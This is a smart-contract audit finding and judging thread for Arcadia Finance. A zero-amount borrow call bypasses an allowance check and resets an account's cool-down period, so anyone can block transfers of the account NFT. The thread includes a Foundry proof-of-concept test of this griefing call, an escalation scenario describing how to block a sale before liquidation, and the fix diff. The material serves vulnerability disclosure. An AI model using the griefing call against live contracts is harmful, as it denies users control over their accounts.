fibonacci - An attacker could prevent the account from being transferred or sold on secondary markets

[sherlock-admin]

fibonacci

medium

An attacker could prevent the account from being transferred or sold on secondary markets

Summary

Incorrect verification that the caller is the beneficiary allows anyone to trigger the cool-down period and prevent the account from being transferred.

Vulnerability Detail

Arcadia mints an NFT for every account created by the factory.

The AccountV1::transferOwnership function uses a cool-down period to prevent any account action that might be disadvantageous to a new owner.

modifier updateActionTimestamp() {
    lastActionTimestamp = uint32(block.timestamp);
    _;
}
// ...
function transferOwnership(address newOwner) external onlyFactory notDuringAuction {
    if (block.timestamp <= lastActionTimestamp + COOL_DOWN_PERIOD) revert AccountErrors.CoolDownPeriodNotPassed();

    // The Factory will check that the new owner is not address(0).
    owner = newOwner;
}

It is assumed that actions that trigger the cool-down period can only be performed by either the account owner or beneficiary.

However, the LendingPool::borrow function's check that msg.sender is the beneficiary can be bypassed if a zero amount is passed, because it only verifies that the amount is less or equal than the allowances.

function borrow(uint256 amount, address account, address to, bytes3 referrer)
    external
    whenBorrowNotPaused
    processInterests
{
    // ...
    // Check allowances to take debt.
    if (accountOwner != msg.sender) {
        uint256 allowed = creditAllowance[account][accountOwner][msg.sender];
        if (allowed != type(uint256).max) {
            creditAllowance[account][accountOwner][msg.sender] = allowed - amountWithFee;
        }
    }
    // ...
}

Therefore, anyone can call this function on behalf of any account and trigger the cool-down period.

There is no need to front-run a transaction; calling it once during a cool-down period is sufficient. Such an attack can persist for a long time and will not incur significant costs on an L2 network.

POC

Add the POC.t.sol file to the lending-v2/test/fuzz/LendingPool/ folder. Run the test with forge test --mc POC -vv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import {LendingPool_Fuzz_Test} from "./_LendingPool.fuzz.t.sol";
import {GuardianErrors} from "../../../../lib/accounts-v2/src/libraries/Errors.sol";

contract POC is LendingPool_Fuzz_Test {
    address newOwner = makeAddr("newOwner");

    function setUp() public override {
        LendingPool_Fuzz_Test.setUp();
    }

    function testTransferAccountSuccess() external {
        vm.warp(block.timestamp + 1 hours);

        uint256 id = factory.accountIndex(address(proxyAccount));

        vm.prank(users.accountOwner);
        factory.transferFrom(users.accountOwner, newOwner, id);

        assertEq(proxyAccount.owner(), newOwner);
    }

    function testTransferAccountRevert() external {
        vm.warp(block.timestamp + 1 hours);

        uint256 id = factory.accountIndex(address(proxyAccount));

        address attacker = makeAddr("attacker");
        vm.prank(attacker);
        pool.borrow(0, address(proxyAccount), attacker, emptyBytes3);

        vm.prank(users.accountOwner);
        vm.expectRevert(GuardianErrors.CoolDownPeriodNotPassed.selector);
        factory.transferFrom(users.accountOwner, newOwner, id);
    }
}

Impact

A user may be unable to transfer the account or sell it on the secondary market, leading to potential financial losses.

Code Snippet

https://github.com/sherlock-audit/2023-12-arcadia/blob/main/accounts-v2/src/accounts/AccountV1.sol#L138-L141 https://github.com/sherlock-audit/2023-12-arcadia/blob/main/accounts-v2/src/accounts/AccountV1.sol#L265-L270 https://github.com/sherlock-audit/2023-12-arcadia/blob/main/accounts-v2/src/accounts/AccountV1.sol#L318 https://github.com/sherlock-audit/2023-12-arcadia/blob/main/lending-v2/src/LendingPool.sol#L426-L431

Tool used

Manual Review

Recommendation

diff --git a/lending-v2/src/LendingPool.sol b/lending-v2/src/LendingPool.sol
index b66de8e..54feea3 100644
--- a/lending-v2/src/LendingPool.sol
+++ b/lending-v2/src/LendingPool.sol
@@ -416,6 +416,7 @@ contract LendingPool is LendingPoolGuardian, Creditor, DebtToken, ILendingPool {
         whenBorrowNotPaused
         processInterests
     {
+        require(amount > 0);
         // If Account is not an actual address of an Account, ownerOfAccount(address) will return the zero address.
         address accountOwner = IFactory(ACCOUNT_FACTORY).ownerOfAccount(account);
         if (accountOwner == address(0)) revert LendingPoolErrors.IsNotAnAccount();

[sherlock-admin2]

1 comment(s) were left on this issue during the judging contest.

takarez commented:

invalid

[Thomas-Smets]

We consider this issue valid, but not a Medium (low instead):

• No assets lost or stolen
• No incentives + cost for attackers to do it forever

Not sure if we should mark it as confirmed, or dispute it?

[Thomas-Smets]

fix: https://github.com/arcadia-finance/lending-v2/pull/131

[sherlock-admin]

The protocol team fixed this issue in PR/commit https://github.com/arcadia-finance/lending-v2/pull/131.

[nevillehuang]

@Thomas-Smets would this grief any actions within the protocol (i.e. is transferOwnership() used anywhere else in the protocol)?

[Thomas-Smets]

No, don't think so. Only the boughtIn() also transfers account ownership, but that is via _transferOwnership(), which is not blocked.

[nevillehuang]

Agree I believe this is low severity given no core functionality is broken.

[0xf1b0]

Escalate

A scenario in which this issue can lead to financial losses for a user:

1. A user provides collateral and takes a debt.
2. The price of the asset in which the collateral was provided begins to drop.
3. The user does not have funds to provide more collateral or repay the debt, which is necessary to improve the account health factor.
4. To reduce losses, the user decides to sell the account as an NFT on the marketplace.
5. An attacker monitors approval transactions for the marketplace and identifies a user whose account health factor has become low.
6. The attacker begins to block the sale (transfer transaction).
7. The attacker waits until the price of the collateral asset drops further and then liquidates the account.

[sherlock-admin2]

Escalate

A scenario in which this issue can lead to financial losses for a user:

1. A user provides collateral and takes a debt.
2. The price of the asset in which the collateral was provided begins to drop.
3. The user does not have funds to provide more collateral or repay the debt, which is necessary to improve the account health factor.
4. To reduce losses, the user decides to sell the account as an NFT on the marketplace.
5. An attacker monitors approval transactions for the marketplace and identifies a user whose account health factor has become low.
6. The attacker begins to block the sale (transfer transaction).
7. The attacker waits until the price of the collateral asset drops further and then liquidates the account.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[Thomas-Smets]

How does this result in losses? Drops in value of collateral assets are not under anyones control.

7. could as well be: The attacker waits until the price of the collateral asset drops further, but unfortunately the price went up so our user gained thanks to the attacker.

[0xf1b0]

The user can sell the account at the current price of the assets to someone who can prevent liquidation.

[Thomas-Smets]

Again the loss of funds is due to changing market prices, not due to the transfer of the Account.

[nevillehuang]

As far as I know, there were no public information/contest indicating these NFT tracking positions is intended to be traded on secondary exchanges, so I believe this issue to be out of scope and invalid. If users do trade them, then it is between the buyers and sellers discretion.

[pa-sh0k]

@nevillehuang I am not saying that the issue is valid, but FYI, there was such info in the docs: https://docs.arcadia.finance/protocol/arcadia-accounts

Each Account is an NFT on itself, and can be displayed in existing portfolio trackers as such (eg. Zapper, OpenSea, DeBank, …). Even more, an Account can be transferred (or sold!) as a whole, including all assets as collateral and all liabilities against the Account. Just like you’re used to transferring NFTs!

[nevillehuang]

@pa-sh0k Thanks for correcting me, then this definitely could cause a explicit DoS in allowing sale of tokens. I am unsure if this qualifies as core contract functionality though, but I am inclined to think otherwise, given funds are still retained by the owner.

[0xf1b0]

I don't know how you determine what the core functionality is. But I believe that the only reason why the account is an ERC-721 token is to be able to trade it.

Also, I want to mention that the target might not be only a user; the target might be the protocol itself.

No incentives + cost for attackers to do it forever

First of all, no one expects a DoS attack to last forever. Incentives might be very simple - to ruin the reputation of the protocol. Costs in L2 networks are low.

Do you think that if an attacker blocks all transfers, at least for a month, will this result in losses for the protocol? Who will lose more?

[0xf1b0]

Again the loss of funds is due to changing market prices, not due to the transfer of the Account.

The potential loss of funds is due to the inability to transfer the account at the current market price.

but unfortunately the price went up so our user gained thanks to the attacker

Of course, the price may not drop further, so this is a potential loss of funds; otherwise, it would be a high issue. And on a bear market, it's quite predictable.

[j-vp]

The main reason accounts are an ERC721 is to make them visible in already existing wallet monitoring infrastructure such as zapper, debank, ... Selling accounts on secondary markets is a nice bonus we get from that ERC standard, but nothing core whatsoever. The protocol will work perfectly fine even if accounts couldn't be transferred at all (with the notable exception of the negative flow of the negative flow of an auction).

The potential loss of funds is due to the inability to transfer the account at the current market price.

A user really cannot have a loss of market value due to not being able to sell their account at the time they want. Instead, the user at that point can simply withdraw the assets and sell the assets themselves. The "account" on itself has no value, only the assets within. There is no special "asset" that a user can create within the account which isn't create-able outside of an account. Alternatively the user can close its margin account with its current creditor.

Do you think that if an attacker blocks all transfers, at least for a month, will this result in losses for the protocol? Who will lose more?

I honestly do not think it will cost the protocol anything. There is no "value" in selling or transferring accounts, it's just a gimmick or a handy feature if users want to transfer whole portfolios at once instead of individual asset transfers. We will not even offer any functionality related to transferring account on our dapp.

[Czar102]

It seems the user could withdraw a position and create a new one and sell it atomically if they had to. They can always also pay the debt back, as @j-vp mentioned.

Even though it doesn't meet criteria for a Medium severity issue, it's a really nice finding @0xf1b0!

Planning to reject the escalation and leave the issue as is – a low severity one.

[0xf1b0]

it's a really nice finding

@Czar102 thank u sir, appreciate it

[Czar102]

Result: Low Unique

[sherlock-admin4]

Escalations have been resolved successfully!

Escalation status:

• 0xf1b0: rejected

[IAm0x52]

Fix looks good. borrow amounts of 0 now revert

[sherlock-admin4]

The Lead Senior Watson signed off on the fix.